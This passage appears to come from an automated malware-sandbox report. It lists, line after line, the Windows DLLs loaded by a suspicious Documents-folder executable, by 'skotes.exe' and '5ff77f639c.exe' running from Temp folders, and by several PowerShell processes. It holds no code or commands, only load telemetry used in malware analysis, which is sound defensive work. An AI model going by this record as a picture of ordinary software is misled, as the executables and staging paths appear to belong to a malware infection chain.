Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
